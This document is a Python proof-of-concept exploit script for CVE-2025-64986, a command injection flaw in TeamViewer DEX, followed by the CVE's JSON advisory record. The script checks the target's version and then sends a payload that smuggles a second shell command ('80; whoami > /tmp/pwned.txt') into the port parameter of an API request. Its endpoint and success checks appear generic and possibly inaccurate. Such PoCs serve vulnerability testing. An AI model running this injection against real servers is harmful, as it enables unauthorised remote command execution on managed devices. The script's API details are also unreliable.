CVE-2025-64986

#!/usr/bin/env python3 """ CVE-2025-64986 PoC - TeamViewer DEX Command Injection Note: This PoC is for educational and authorized testing purposes only. """ import requests import json import sys # Configuration TARGET_URL = "https://target-server/api/v1" API_KEY = "your_auth_token_here" CVE_ID = "CVE-2025-64986" def test_vulnerability(): """ Test for command injection in DevicesListeningOnAPort instruction This checks if proper input validation is in place """ headers = { "Authorization": f"Bearer {API_KEY}", "Content-Type": "application/json", "X-CVE-ID": CVE_ID } # Malicious payload attempting command injection # This payload tries to inject a command via improper input validation payload = { "instruction": "1E-Explorer-TachyonCore-DevicesListeningOnAPort", "parameters": { "port": "80; whoami > /tmp/pwned.txt", "device_id": "test_device_001" } } try: response = requests.post( f"{TARGET_URL}/execute", headers=headers, json=payload, timeout=30 ) # Check if command was executed (vulnerable) if response.status_code == 200: result = response.json() if "command_executed" in result or "output" in str(result): print(f"[+] VULNERABLE: {CVE_ID}") print(f"[+] Command injection successful") return True print(f"[-] Not vulnerable or connection failed") return False except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False def check_version(target_url, api_key): """ Check if target is running affected version (prior to V21) """ headers = { "Authorization": f"Bearer {api_key}" } try: response = requests.get( f"{target_url}/version", headers=headers, timeout=10 ) version_info = response.json() version = version_info.get("version", "") # Extract major version number major_version = int(version.split(".")[0]) if version else 0 if major_version < 21: print(f"[!] Target version {version} is VULNERABLE (prior to V21)") return True else: print(f"[*] Target version {version} is patched (V21 or later)") return False except Exception as e: print(f"[-] Could not determine version: {e}") return None if __name__ == "__main__": print(f"[*] {CVE_ID} Command Injection Test") print("=" * 50) if len(sys.argv) > 1: TARGET_URL = sys.argv[1] if len(sys.argv) > 2: API_KEY = sys.argv[2] # First check version is_affected = check_version(TARGET_URL, API_KEY) if is_affected: print("\n[*] Attempting vulnerability test...") test_vulnerability() else: print("[*] Target appears to be patched, skipping exploitation test")

{"cve": {"id": "CVE-2025-64986", "sourceIdentifier": "[email protected]", "published": "2025-12-11T12:16:25.400", "lastModified": "2026-01-14T20:00:20.610", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A command injection vulnerability was discovered in TeamViewer DEX (former 1E DEX), specifically within the 1E-Explorer-TachyonCore-DevicesListeningOnAPort instruction prior V21. Improper input validation, allowing authenticated attackers with Actioner privileges to inject arbitrary commands. Exploitation enables remote execution of elevated commands on devices connected to the platform."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-20"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-77"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:teamviewer:digital_employee_experience:*:*:*:*:*:*:*:*", "versionEndExcluding": "21.0", "matchCriteriaId": "86C851A4-69F1-4E48-994B-545A2092E502"}]}]}], "references": [{"url": "https://www.teamviewer.com/en/resources/trust-center/security-bulletins/tv-2025-1006/", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}